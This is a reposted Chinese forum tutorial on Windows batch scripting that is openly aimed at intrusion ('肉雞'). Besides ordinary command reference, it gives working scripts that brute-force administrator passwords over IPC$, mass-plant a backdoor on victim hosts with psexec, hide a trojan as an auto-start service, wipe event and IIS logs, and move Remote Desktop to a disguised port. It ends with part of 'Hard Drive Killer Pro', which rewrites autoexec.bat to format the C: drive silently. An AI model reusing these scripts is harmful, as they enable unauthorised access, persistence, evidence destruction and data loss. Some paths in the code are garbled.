茫茫網海中的冷日
         
茫茫網海中的冷日
發生過的事,不可能遺忘,只是想不起來而已!
 恭喜您是本站第 1670402 位訪客!  登入  | 註冊
主選單

Google 自訂搜尋

Goole 廣告

隨機相片
IMG_60D_00377.jpg

授權條款

使用者登入
使用者名稱:

密碼:


忘了密碼?

現在就註冊!

微軟帝國 : [分享]在網路上看見一些 DOS Batch 教學

發表者 討論內容
冷日
(冷日)
Webmaster
  • 註冊日: 2008/2/19
  • 來自:
  • 發表數: 15771
[分享]簡明批處理教程-1
簡明批處理教程-1



前言





最近對于批處理技術的探討比較熱,也有不少好的批處理程序發布,但是如果沒有一定的相

關知識恐怕不容易看懂和理解這些批處理文件,也就更談不上自己動手編寫了,古語雲:“

授人以魚,不如授人以漁。”因為網上好像並沒有一個比較完整的教材,所以抽一點時間寫

了這片<<簡明批處理教程>>給新手朋友們.也獻給所有為實現網絡的自由與共享而努力的朋

友們.



批處理文件是無格式的文本文件,它包含一條或多條命令。它的文件擴展名為 .bat 或 .cm

d。在命令提示下鍵入批處理文件的名稱,或者雙擊該批處理文件,系統就會調用Cmd.exe按

照該文件中各個命令出現的順序來逐個運行它們。使用批處理文件(也被稱為批處理程序或

腳本),可以簡化日常或重復性任務。當然我們的這個版本的主要內容是介紹批處理在入侵

中一些實際運用,例如我們後面要提到的用批處理文件來給系統打補丁、批量植入後門程序

等。下面就開始我們批處理學習之旅吧。




一.簡單批處理內部命令簡介

1.Echo 命令

打開回顯或關閉請求回顯功能,或顯示消息。如果沒有任何參數,echo 命令將顯示當前回

顯設置。

語法

echo [{on|off}] [message]

Sample:@echo off / echo hello world

在實際應用中我們會把這條命令和重定向符號(也稱為管道符號,一般用> >> ^)結合來實

現輸入一些命令到特定格式的文件中.這將在以後的例子中體現出來。





2.@ 命令

表示不顯示@後面的命令,在入侵過程中(例如使用批處理來格式化敵人的硬盤)自然不能

讓對方看到你使用的命令啦。

Sample:@echo off

@echo Now initializing the program,please wait a minite...

@format X: /q/u/autoset (format 這個命令是不可以使用/y這個參數的,可喜的是微軟留

了個autoset這個參數給我們,效果和/y是一樣的。)



3.Goto 命令

指定跳轉到標簽,找到標簽後,程序將處理從下一行開始的命令。

語法:goto label (label是參數,指定所要轉向的批處理程序中的行。)


Sample:

if {%1}=={} goto noparms

if {%2}=={} goto noparms(如果這裡的if、%1、%2你不明白的話,先跳過去,後面會有詳

細的解釋。)

@Rem check parameters if null show usage

:noparms

echo Usage: monitor.bat ServerIP PortNumber

goto end

標簽的名字可以隨便起,但是最好是有意義的字母啦,字母前加個:用來表示這個字母是標

簽,goto命令就是根據這個:來尋找下一步跳到到那裡。最好有一些說明這樣你別人看起來

才會理解你的意圖啊。



4.Rem 命令

注釋命令,在C語言中相當與/*--------*/,它並不會被執行,只是起一個注釋的作用,便于

別人閱讀和你自己日後修改。

Rem Message

Sample:@Rem Here is the description.



5.Pause 命令

運行 Pause 命令時,將顯示下面的消息:

Press any key to continue . . .

Sample:


@echo off

:begin

copy a:*.* d:ack

echo Please put a new disk into driver A

pause

goto begin

在這個例子中,驅動器 A 中磁盤上的所有文件均復制到d:ack中。顯示的注釋提示您將另

一張磁盤放入驅動器 A 時,pause 命令會使程序掛起,以便您更換磁盤,然後按任意鍵繼

續處理。



6.Call 命令

從一個批處理程序調用另一個批處理程序,並且不終止父批處理程序。call 命令接受用作

調用目標的標簽。如果在腳本或批處理文件外使用 Call,它將不會在命令行起作用。

語法

call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]

參數

[Drive:}[Path] FileName

指定要調用的批處理程序的位置和名稱。filename 參數必須具有 .bat 或 .cmd 擴展名。



7.start 命令

調用外部程序,所有的DOS命令和命令行程序都可以由start命令來調用。

入侵常用參數:


MIN 開始時窗口最小化

SEPARATE 在分開的空間內開始 16 位 Windows 程序

HIGH 在 HIGH 優先級類別開始應用程序

REALTIME 在 REALTIME 優先級類別開始應用程序

WAIT 啟動應用程序並等候它結束

parameters 這些為傳送到命令/程序的參數

執行的應用程序是 32-位 GUI 應用程序時,CMD.EXE 不等應用程序終止就返回命令提示。

如果在命令腳本內執行,該新行為則不會發生。

8.choice 命令

choice 使用此命令可以讓用戶輸入一個字符,從而運行不同的命令。使用時應該加/c:參數

,c:後應寫提示可輸入的字符,之間無空格。它的返回碼為1234……

如: choice /c:dme defrag,mem,end

將顯示

defrag,mem,end[D,M,E]?

Sample:

Sample.bat的內容如下:

@echo off

choice /c:dme defrag,mem,end

if errorlevel 3 goto defrag (應先判斷數值最高的錯誤碼)

if errorlevel 2 goto mem

if errotlevel 1 goto end




:defrag

c:dosdefrag

goto end

:mem

mem

goto end

:end

echo good bye



此文件運行後,將顯示 defrag,mem,end[D,M,E]? 用戶可選擇d m e ,然後if語句將作出判

斷,d表示執行標號為defrag的程序段,m表示執行標號為mem的程序段,e表示執行標號為en

d的程序段,每個程序段最後都以goto end將程序跳到end標號處,然後程序將顯示good by

e,文件結束。



9.If 命令



if 表示將判斷是否符合規定的條件,從而決定執行不同的命令。 有三種格式:

1、if 參數 == 字符串  待執行的命令

參數如果等于指定的字符串,則條件成立,運行命令,否則運行下一句。(注意是兩個等號



如if \%1==a format a:

if {%1}=={} goto noparms


if {%2}=={} goto noparms



2、if exist 文件名  待執行的命令

如果有指定的文件,則條件成立,運行命令,否則運行下一句。

如if exist config.sys edit config.sys



3、if errorlevel / if not errorlevel 數字  待執行的命令

如果返回碼等于指定的數字,則條件成立,運行命令,否則運行下一句。

如if errorlevel 2 goto x2  

DOS程序運行時都會返回一個數字給DOS,稱為錯誤碼errorlevel或稱返回碼,常見的返回碼

為0、1。



10.for 命令

for 命令是一個比較復雜的命令,主要用于參數在指定的范圍內循環執行命令。

在批處理文件中使用 FOR 命令時,指定變量請使用 %%variable



for {%variable|%%variable} in (set) do command [ CommandLineOptions]

%variable 指定一個單一字母可替換的參數。

(set) 指定一個或一組文件。可以使用通配符。

command 指定對每個文件執行的命令。

command-parameters 為特定命令指定參數或命令行開關。

在批處理文件中使用 FOR 命令時,指定變量請使用 %%variable


而不要用 %variable。變量名稱是區分大小寫的,所以 %i 不同于 %I



如果命令擴展名被啟用,下列額外的 FOR 命令格式會受到

支持:



FOR /D %variable IN (set) DO command [command-parameters]



如果集中包含通配符,則指定與目錄名匹配,而不與文件

名匹配。



FOR /R [[drive:]path] %variable IN (set) DO command [command-



檢查以 [drive:]path 為根的目錄樹,指向每個目錄中的

FOR 語句。如果在 /R 後沒有指定目錄,則使用當前

目錄。如果集僅為一個單點(.)字符,則枚舉該目錄樹。



FOR /L %variable IN (start,step,end) DO command [command-para



該集表示以增量形式從開始到結束的一個數字序列。

因此,(1,1,5) 將產生序列 1 2 3 4 5,(5,-1,1) 將產生

序列 (5 4 3 2 1)。




FOR /F [options] %variable IN (file-set) DO command

FOR /F [options] %variable IN (string) DO command

FOR /F [options] %variable IN (command) DO command



或者,如果有 usebackq 選項:



FOR /F [options] %variable IN (file-set) DO command

FOR /F [options] %variable IN (string) DO command

FOR /F [options] %variable IN (command) DO command



filenameset 為一個或多個文件名。繼續到 filenameset 中的

下一個文件之前,每份文件都已被打開、讀取並經過處理。

處理包括讀取文件,將其分成一行行的文字,然後將每行

解析成零或更多的符號。然後用已找到的符號字符串變量值

調用 For 循環。以默認方式,/F 通過每個文件的每一行中分開

的第一個空白符號。跳過空白行。您可通過指定可選 options

參數替代默認解析操作。這個帶引號的字符串包括一個或多個

指定不同解析選項的關鍵字。這些關鍵字為:



eol=c - 指一個行注釋字符的結尾(就一個)

skip=n - 指在文件開始時忽略的行數。

delims=xxx - 指分隔符集。這個替換了空格和跳格鍵的


默認分隔符集。

tokens=x,y,m-n - 指每行的哪一個符號被傳遞到每個迭代

的 for 本身。這會導致額外變量名稱的

格式為一個范圍。通過 nth 符號指定 m

符號字符串中的最後一個字符星號,

那麼額外的變量將在最後一個符號解析之

分配並接受行的保留文本。

usebackq - 指定新語法已在下類情況中使用:

在作為命令執行一個後引號的字符串並且

引號字符為文字字符串命令並允許在 fi

中使用雙引號擴起文件名稱。



sample1:

FOR /F eol=; tokens=2,3* delims=, %i in (myfile.txt) do command



會分析 myfile.txt 中的每一行,忽略以分號打頭的那些行,將

每行中的第二個和第三個符號傳遞給 for 程序體;用逗號和/或

空格定界符號。請注意,這個 for 程序體的語句引用 %i 來

取得第二個符號,引用 %j 來取得第三個符號,引用 %k

來取得第三個符號後的所有剩余符號。對于帶有空格的文件

名,您需要用雙引號將文件名括起來。為了用這種方式來使

用雙引號,您還需要使用 usebackq 選項,否則,雙引號會


被理解成是用作定義某個要分析的字符串的。



%i 專門在 for 語句中得到說明,%j 和 %k 是通過

tokens= 選項專門得到說明的。您可以通過 tokens= 一行

指定最多 26 個符號,只要不試圖說明一個高于字母 z 或

Z 的變量。請記住,FOR 變量是單一字母、分大小寫和全局的;

同時不能有 52 個以上都在使用中。



您還可以在相鄰字符串上使用 FOR /F 分析邏輯;方法是,

用單引號將括號之間的 filenameset 括起來。這樣,該字符

串會被當作一個文件中的一個單一輸入行。



最後,您可以用 FOR /F 命令來分析命令的輸出。方法是,將

括號之間的 filenameset 變成一個反括字符串。該字符串會

被當作命令行,傳遞到一個子 CMD.EXE,其輸出會被抓進

內存,並被當作文件分析。因此,以下例子:



FOR /F usebackq delims== %i IN (`set`) DO @echo %i



會枚舉當前環境中的環境變量名稱。



另外,FOR 變量參照的替換已被增強。您現在可以使用下列


選項語法:



~I - 刪除任何引號(),擴充 %I

%~fI - 將 %I 擴充到一個完全合格的路徑名

%~dI - 僅將 %I 擴充到一個驅動器號

%~pI - 僅將 %I 擴充到一個路徑

%~nI - 僅將 %I 擴充到一個文件名

%~xI - 僅將 %I 擴充到一個文件擴展名

%~sI - 擴充的路徑只含有短名

%~aI - 將 %I 擴充到文件的文件屬性

%~tI - 將 %I 擴充到文件的日期/時間

%~zI - 將 %I 擴充到文件的大小

%~$PATH:I - 查找列在路徑環境變量的目錄,並將 %I 擴充

到找到的第一個完全合格的名稱。如果環境變量

未被定義,或者沒有找到文件,此組合鍵會擴充

空字符串



可以組合修飾符來得到多重結果:



%~dpI - 僅將 %I 擴充到一個驅動器號和路徑

%~nxI - 僅將 %I 擴充到一個文件名和擴展名

%~fsI - 僅將 %I 擴充到一個帶有短名的完整路徑名


%~dp$PATH:i - 查找列在路徑環境變量的目錄,並將 %I 擴充

到找到的第一個驅動器號和路徑。

%~ftzaI - 將 %I 擴充到類似輸出線路的 DIR



在以上例子中,%I 和 PATH 可用其他有效數值代替。%~ 語法

用一個有效的 FOR 變量名終止。選取類似 %I 的大寫變量名

比較易讀,而且避免與不分大小寫的組合鍵混淆。



以上是MS的官方幫助,下面我們舉幾個例子來具體說明一下For命令在入侵中的用途。



sample2:



利用For命令來實現對一台目標Win2k主機的暴力密碼破解。

我們用net use \ipipc$ password /u:administrator來嘗試這和目標主機進行連接

,當成功時記下密碼。

最主要的命令是一條:for /f i% in (dict.txt) do net use \ipipc$ i% /u:admini

strator

用i%來表示admin的密碼,在dict.txt中這個取i%的值用net use 命令來連接。然後將程序

運行結果傳遞給find命令--

for /f i%% in (dict.txt) do net use \ipipc$ i%% /u:administrator|find :命

令成功完成>>D:ok.txt ,這樣就ko了。




sample3:



你有沒有過手裡有大量肉雞等著你去種後門+木馬呢?,當數量特別多的時候,原本很開心

的一件事都會變得很鬱悶:)。文章開頭就談到使用批處理文件,可以簡化日常或重復性任

務。那麼如何實現呢?呵呵,看下去你就會明白了。



主要命令也只有一條:(在批處理文件中使用 FOR 命令時,指定變量使用 %%variable)

@for /f okens=1,2,3 delims= %%i in (victim.txt) do start call door.bat %%i %

%j %%k

tokens的用法請參見上面的sample1,在這裡它表示按順序將victim.txt中的內容傳遞給doo

r.bat中的參數%i %j %k。

而cultivate.bat無非就是用net use命令來建立IPC$連接,並copy木馬+後門到victim,然

後用返回碼(If errorlever =)來篩選成功種植後門的主機,並echo出來,或者echo到指

定的文件。

delims= 表示vivtim.txt中的內容是一空格來分隔的。我想看到這裡你也一定明白這victim

..txt裡的內容是什麼樣的了。應該根據%%i %%j %%k表示的對象來排列,一般就是 ip passw

ord username。

代碼雛形:

--------------- cut here then save as a batchfile(I call it main.bat ) ---------

------------------

@echo off

@if \%1==\ goto usage


@for /f okens=1,2,3 delims= %%i in (victim.txt) do start call IPChack.bat %%

i %%j %%k

@goto end

:usage

@echo run this batch in dos modle.or just double-click it.

:end

--------------- cut here then save as a batchfile(I call it main.bat ) ---------

------------------





------------------- cut here then save as a batchfile(I call it door.bat) ------

-----------------------

@net use \%1ipc$ %3 /u:\%2

@if errorlevel 1 goto failed

@echo Trying to establish the IPC$ connection …………OK

@copy windrv32.exe\%1admin$system32 && if not errorlevel 1 echo IP %1 USER %2

PWD %3 >>ko.txt

@psexec \%1 c:winntsystem32windrv32.exe

@psexec \%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.t

xt

:failed

@echo Sorry can not connected to the victim.


------------------------

這只是一個自動種植後門批處理的雛形,兩個批處理和後門程序(Windrv32.exe),PSexec.

exe需放在統一目錄下.批處理內容

尚可擴展,例如:加入清除日志+DDOS的功能,加入定時添加用戶的功能,更深入一點可以使之

具備自動傳播功能(蠕蟲).此處不多做敘述,有興趣的朋友可自行研究.





簡明批處理教程-2



No.2

二.如何在批處理文件中使用參數

批處理中可以使用參數,一般從1%到 9%這九個,當有多個參數時需要用shift來移動,這種

情況並不多見,我們就不考慮它了。

sample1:fomat.bat

@echo off

if \%1==a format a:

:format

@format a:/q/u/auotset

@echo please insert another disk to driver A.

@pause

@goto fomat

這個例子用于連續地格式化幾張軟盤,所以用的時候需在dos窗口輸入fomat.bat a,呵呵,

好像有點畫蛇添足了~^_^

sample2:

當我們要建立一個IPC$連接地時候總要輸入一大串命令,弄不好就打錯了,所以我們不如把


一些固定命令寫入一個批處理,把肉雞地ip password username 當著參數來賦給這個批處

理,這樣就不用每次都打命令了。

@echo off

@net use \1%ipc$ 2% /u:3% 注意哦,這裡PASSWORD是第二個參數。

@if errorlevel 1 echo connection failed

怎麼樣,使用參數還是比較簡單的吧?你這麼帥一定學會了^_^.No.3

三.如何使用組合命令(Compound Command)





1.&



Usage:第一條命令 & 第二條命令 [& 第三條命令...]



用這種方法可以同時執行多條命令,而不管命令是否執行成功



Sample:

C:>dir z: & dir c:Ex4rch

The system cannot find the path specified.

Volume in drive C has no label.

Volume Serial Number is 0078-59FB



Directory of c:Ex4rch




2002-05-14 23:51



..

2002-05-14 23:51

...

2002-05-14 23:51 14 sometips.gif



2.&&



Usage:第一條命令 && 第二條命令 [&& 第三條命令...]



用這種方法可以同時執行多條命令,當碰到執行出錯的命令後將不執行後面的命令,如果一

直沒有出錯則一直執行完所有命令;



Sample:

C:>dir z: && dir c:Ex4rch

The system cannot find the path specified.



C:>dir c:Ex4rch && dir z:

Volume in drive C has no label.

Volume Serial Number is 0078-59FB




Directory of c:Ex4rch



2002-05-14 23:55

..

2002-05-14 23:55

...

2002-05-14 23:55 14 sometips.gif

1 File(s) 14 bytes

2 Dir(s) 768,671,744 bytes free

The system cannot find the path specified.



在做備份的時候可能會用到這種命令會比較簡單,如:

dir file&#58//192.168.0.1/database/backup.mdb && copy file&#58//192.168.0.1/da

tabase/backup.mdb E:ackup

如果遠程服務器上存在backup.mdb文件,就執行copy命令,若不存在該文件則不執行copy命

令。這種用法可以替換IF exist了 :)



3.||



Usage:第一條命令 || 第二條命令 [|| 第三條命令...]




用這種方法可以同時執行多條命令,當碰到執行正確的命令後將不執行後面的命令,如果沒

有出現正確的命令則一直執行完所有命令;



Sample:

C:Ex4rch>dir sometips.gif || del sometips.gif

Volume in drive C has no label.

Volume Serial Number is 0078-59FB



Directory of C:Ex4rch



2002-05-14 23:55 14 sometips.gif

1 File(s) 14 bytes

0 Dir(s) 768,696,320 bytes free



組合命令使用的例子:

sample:

@copy trojan.exe \%1admin$system32 && if not errorlevel 1 echo IP %1 USER %2

PASS %3 >>victim.txt




簡明批處理教程-3



No.4

四、管道命令的使用





1.| 命令

Usage:第一條命令 | 第二條命令 [| 第三條命令...]

將第一條命令的結果作為第二條命令的參數來使用,記得在unix中這種方式很常見。



sample:

time /t>>D:IP.log

netstat -n -p tcp|find :3389>>D:IP.log

start Explorer

看出來了麼?用于終端服務允許我們為用戶自定義起始的程序,來實現讓用戶運行下面這個

bat,以獲得登錄用戶的IP。



2.>、>>輸出重定向命令


將一條命令或某個程序輸出結果的重定向到特定文件中, > 與 >>的區別在于,>會清除調原

有文件中的內容後寫入指定文件,而>>只會追加內容到指定文件中,而不會改動其中的內容





sample1:

echo hello world>c:hello.txt (stupid example?)



sample2:

時下DLL木馬盛行,我們知道system32是個捉迷藏的好地方,許多木馬都削尖了腦袋往那裡

鑽,DLL馬也不例外,針對這一點我們可以在安裝好系統和必要的應用程序後,對該目錄下

的EXE和DLL文件作一個記錄:

運行CMD--轉換目錄到system32--dir *.exe>exeback.txt & dir *.dll>dllback.txt,

這樣所有的EXE和DLL文件的名稱都被分別記錄到exeback.txt和dllback.txt中,

日後如發現異常但用傳統的方法查不出問題時,則要考慮是不是系統中已經潛入DLL木馬了.

這時我們用同樣的命令將system32下的EXE和DLL文件記錄到另外的exeback1.txt和dllback1

..txt中,然後運行:

CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt

..(用FC命令比較前後兩次的DLL和EXE文件,並將結果輸入到diff.txt中),這樣我們就能發現

一些多出來的DLL和EXE文件,然後通過查看創建時間、版本、是否經過壓縮等就能夠比較容

易地判斷出是不是已經被DLL木馬光顧了。沒有是最好,如果有的話也不要直接DEL掉,先用

regsvr32 /u trojan.dll將後門DLL文件注銷掉,再把它移到回收站裡,若系統沒有異常反映

再將之徹底刪除或者提交給殺毒軟件公司。




3.< 、>& 、<&

< 從文件中而不是從鍵盤中讀入命令輸入。

>& 將一個句柄的輸出寫入到另一個句柄的輸入中。

<& 從一個句柄讀取輸入並將其寫入到另一個句柄輸出中。

這些並不常用,也就不多做介紹。



No.5

五.如何用批處理文件來操作注冊表



在入侵過程中經常回操作注冊表的特定的鍵值來實現一定的目的,例如:為了達到隱藏後門

、木馬程序而刪除Run下殘余的鍵值。或者創建一個服務用以加載後門。當然我們也會修改

注冊表來加固系統或者改變系統的某個屬性,這些都需要我們對注冊表操作有一定的了解。

下面我們就先學習一下如何使用.REG文件來操作注冊表.(我們可以用批處理來生成一個REG

文件)

關于注冊表的操作,常見的是創建、修改、刪除。



1.創建

創建分為兩種,一種是創建子項(Subkey)



我們創建一個文件,內容如下:




Windows Registry Editor Version 5.00



[HKEY_LOCAL_MACHINESOFTWAREMicrosofthacker]



然後執行該腳本,你就已經在HKEY_LOCAL_MACHINESOFTWAREMicrosoft下創建了一個名字

為“hacker”的子項。



另一種是創建一個項目名稱

那這種文件格式就是典型的文件格式,和你從注冊表中導出的文件格式一致,內容如下:



Windows Registry Editor Version 5.00



[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]

Invader=Ex4rch

Door=C:\WINNT\system32\door.exe

Autodos=dword:02



這樣就在[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]下

新建了:Invader、door、about這三個項目

Invader的類型是“String &#118alue”

door的類型是“REG SZ &#118alue”

Autodos的類型是“DWORD &#118alue”






2.修改

修改相對來說比較簡單,只要把你需要修改的項目導出,然後用記事本進行修改,然後導入

(regedit /s)即可。



3.刪除

我們首先來說說刪除一個項目名稱,我們創建一個如下的文件:



Windows Registry Editor Version 5.00



[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]

Ex4rch=-



執行該腳本,[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]下

的Ex4rch就被刪除了;



我們再看看刪除一個子項,我們創建一個如下的腳本:



Windows Registry Editor Version 5.00



[-HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]




執行該腳本,[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]就

已經被刪除了。



相信看到這裡,.reg文件你基本已經掌握了。那麼現在的目標就是用批處理來創建特定內容

的.reg文件了,記得我們前面說道的利用重定向符號可以很容易地創建特定類型的文件。



samlpe1:如上面的那個例子,如想生成如下注冊表文件

Windows Registry Editor Version 5.00



[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]

Invader=Ex4rch

door=hex:255

Autodos=dword:000000128

只需要這樣:

@echo Windows Registry Editor Version 5.00>>Sample.reg



@echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]>Sample.

reg

@echo Invader=Ex4rch>>Sample.reg

@echo door=5>>C:\WINNT\system32\door.exe>>Sample.reg

@echo Autodos=dword:02>>Sample.reg






samlpe2:

我們現在在使用一些比較老的木馬時,可能會在注冊表的[HKEY_LOCAL_MACHINESOFTWAREMi

crosoftWindowsCurrentVersionRun(Runonce、Runservices、Runexec)]下生成一個鍵值

用來實現木馬的自啟動.但是這樣很容易暴露木馬程序的路徑,從而導致木馬被查殺,相對地

若是將木馬程序注冊為系統服務則相對安全一些.下面以配置好地IRC木馬DSNX為例(名為win

drv32.exe)

@start windrv32.exe

@attrib +h +r windrv32.exe

@echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun] >>patch

..dll

@echo windsnx =- >>patch.dll

@sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver

binpath= c:winntsystem32windrv32.exe

@regedit /s patch.dll

@delete patch.dll



@REM [刪除DSNXDE在注冊表中的啟動項,用sc.exe將之注冊為系統關鍵性服務的同時將其屬

性設為隱藏和只讀,並config為自啟動]

@REM 這樣不是更安全^_^.





簡明批處理教程-4



No.6

六.精彩實例放送。

1.刪除win2k/xp系統默認共享的批處理

------------------------ cut here then save as .bat or .cmd file ---------------

------------





@echo preparing to delete all the default shares.when ready pres any key.

@pause

@echo off



:Rem check parameters if null show usage.

if {%1}=={} goto :Usage



:Rem code start.

echo.


echo ------------------------------------------------------

echo.

echo Now deleting all the default shares.

echo.

net share %1$ /delete

net share %2$ /delete

net share %3$ /delete

net share %4$ /delete

net share %5$ /delete

net share %6$ /delete

net share %7$ /delete

net share %8$ /delete

net share %9$ /delete

net stop Server

net start Server

echo.

echo All the shares have been deleteed

echo.

echo ------------------------------------------------------

echo.

echo Now modify the registry to change the system default properties.

echo.


echo Now creating the registry file

echo Windows Registry Editor Version 5.00> c:delshare.reg

echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServiceslanmanserverparamete

rs]>> c:delshare.reg

echo AutoShareWks=dword:00000000>> c:delshare.reg

echo AutoShareServer=dword:00000000>> c:delshare.reg

echo Nowing using the registry file to chang the system default properties.

regedit /s c:delshare.reg

echo Deleting the temprotarily files.

del c:delshare.reg

goto :END



:Usage

echo.

echo ------------------------------------------------------

echo.

echo ☆ A example for batch file ☆

echo ☆ [Use batch file to change the sysytem share properties.] ☆

echo.

echo Author:Ex4rch

echo Mail:Ex4rch@hotmail.com QQ:1672602

echo.


echo Error:Not enough parameters

echo.

echo ☆ Please enter the share disk you wanna delete ☆

echo.

echo For instance,to delete the default shares:

echo delshare c d e ipc admin print

echo.

echo If the disklable is not as C: D: E: ,Please chang it youself.

echo.

echo example:

echo If locak disklable are C: D: E: X: Y: Z: ,you should chang the command int

o :

echo delshare c d e x y z ipc admin print

echo.

echo *** you can delete nine shares once in a useing ***

echo.

echo ------------------------------------------------------

goto :EOF



:END

echo.

echo ------------------------------------------------------


echo.

echo OK,delshare.bat has deleted all the share you assigned.

echo.Any questions ,feel free to mail to Ex4rch@hotmail.com.

echo

echo.

echo ------------------------------------------------------

echo.



:EOF

echo end of the batch file

------------------------ cut here then save as .bat or .cmd file ---------------

------------





2.全面加固系統(給肉雞打補丁)的批處理文件

------------------------ cut here then save as .bat or .cmd file ---------------

------------



@echo Windows Registry Editor Version 5.00 >patch.dll

@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServiceslanmanserverparamet

ers] >>patch.dll




@echo AutoShareServer=dword:00000000 >>patch.dll

@echo AutoShareWks=dword:00000000 >>patch.dll

@REM [禁止共享]



@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsa] >>patch.dll

@echo
estrictanonymous=dword:00000001 >>patch.dll

@REM [禁止匿名登錄]



@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesNetBTParameters] >>

patch.dll

@echo SMBDeviceEnabled=dword:00000000 >>patch.dll

@REM [禁止及文件訪問和打印共享]



@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices@REMoteRegistry] >>p

atch.dll

@echo Start=dword:00000004 >>patch.dll

@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSchedule] >>patch.dl

l

@echo Start=dword:00000004 >>patch.dll

@echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon]

>>patch.dll

@echo ShutdownWithoutLogon= >>patch.dll


@REM [禁止登錄前關機]



@echo DontDisplayLastUserName=1 >>patch.dll

@REM [禁止顯示前一個登錄用戶名稱]

@regedit /s patch.dll





------------------------ cut here then save as .bat or .cmd file ---------------

------------



下面命令是清除肉雞所有日志,禁止一些危險的服務,並修改肉雞的terminnal service留

跳後路。

@regedit /s patch.dll

@net stop w3svc

@net stop event log

@del c:winntsystem32logfilesw3svc1*.* /f /q

@del c:winntsystem32logfilesw3svc2*.* /f /q

@del c:winntsystem32config*.event /f /q

@del c:winntsystem32dtclog*.* /f /q

@del c:winnt*.txt /f /q

@del c:winnt*.log /f /q

@net start w3svc


@net start event log

@rem [刪除日志]







@net stop lanmanserver /y

@net stop Schedule /y

@net stop RemoteRegistry /y

@del patch.dll

@echo The server has been patched,Have fun.

@del patch.bat

@REM [禁止一些危險的服務。]



@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinSt

ationsRDP-Tcp] >>patch.dll

@echo PortNumber=dword:00002010 >>patch.dll

@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWds


dpwdTds cp >>patch.dll

@echo PortNumber=dword:00002012 >>patch.dll

@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTermDD] >>patch.dll

@echo Start=dword:00000002 >>patch.dll

@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSecuService] >>patch


..dll

@echo Start=dword:00000002 >>patch.dll

@echo ErrorControl=dword:00000001 >>patch.dll

@echo ImagePath=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6

f,00, >>patch.dll

@echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65

, >>patch.dll

@echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00

>>patch.dll

@echo ObjectName=LocalSystem >>patch.dll

@echo Type=dword:00000010 >>patch.dll

@echo Description=Keep record of the program and windows message。 >>patch.d

ll

@echo DisplayName=Microsoft EventLog >>patch.dll

@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices ermservice] >>patch

..dll

@echo Start=dword:00000004 >>patch.dll

@copy c:winntsystem32 ermsrv.exe c:winntsystem32eventlog.exe

@REM [修改3389連接,端口為8210(十六進制為00002012),名稱為Microsoft EventLog,留

條後路]



3.Hard Drive Killer Pro Version 4.0(玩批處理到這個水平真的不容易了。)


------------------------ cut here then save as .bat or .cmd file ---------------

------------

@echo off

rem This program is dedecated to a very special person that does not want to be

named.

:start

cls

echo PLEASE WAIT WHILE PROGRAM LOADS . . .

call attrib -r -h c:autoexec.bat >nul

echo @echo off >c:autoexec.bat

echo call format c: /q /u /autoSample >nul >>c:autoexec.bat

call attrib +r +h c:autoexec.bat >nul

rem Drive checking and assigning the valid drives to the drive variable.



set drive=

set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z



rem code insertion for Drive Checking takes place here.

rem drivechk.bat is the file name under the root directory.

rem As far as the drive detection and drive variable settings, dont worry about

how it

rem works, its d*amn to complicated for the average or even the expert batch pr


ogrammer.

rem Except for Tom Lavedas.



echo @echo off >drivechk.bat

echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find Vol > nul >{t}.bat

%comspec% /e:2048 /c {t}.bat >>drivechk.bat

del {t}.bat

echo if errorlevel 1 goto enddc >>drivechk.bat



cls

echo PLEASE WAIT WHILE PROGRAM LOADS . . .



rem When errorlevel is 1, then the above is not true, if 0, then its true.

rem Opposite of binary rules. If 0, it will elaps to the next command.



echo @prompt %%%%comspec%%%% /f /c dir %%%%1:./ad/w/-p $b find ytes > nul >{

t}.bat

%comspec% /e:2048 /c {t}.bat >>drivechk.bat

del {t}.bat

echo if errorlevel 1 goto enddc >>drivechk.bat



cls


echo PLEASE WAIT WHILE PROGRAM LOADS . . .



rem if errorlevel is 1, then the drive specified is a removable media drive - no

t ready.

rem if errorlevel is 0, then it will elaps to the next command.



echo @prompt dir %%%%1:./ad/w/-p $b find 0 bytes free > nul >{t}.bat

%comspec% /e:2048 /c {t}.bat >>drivechk.bat

del {t}.bat

echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat



cls

echo PLEASE WAIT WHILE PROGRAM LOADS . . .



rem if its errorlevel 1, then the specified drive is a hard or floppy drive.

rem if its not errorlevel 1, then the specified drive is a CD-ROM drive.



echo :enddc >>drivechk.bat



rem Drive checking insertion ends here. enddc stands for end dDRIVE cHECKING

..




rem Now we will use the program drivechk.bat to attain valid drive information.



:Sampledrv



for %%a in (%alldrive%) do call drivechk.bat %%a >nul

del drivechk.bat >nul

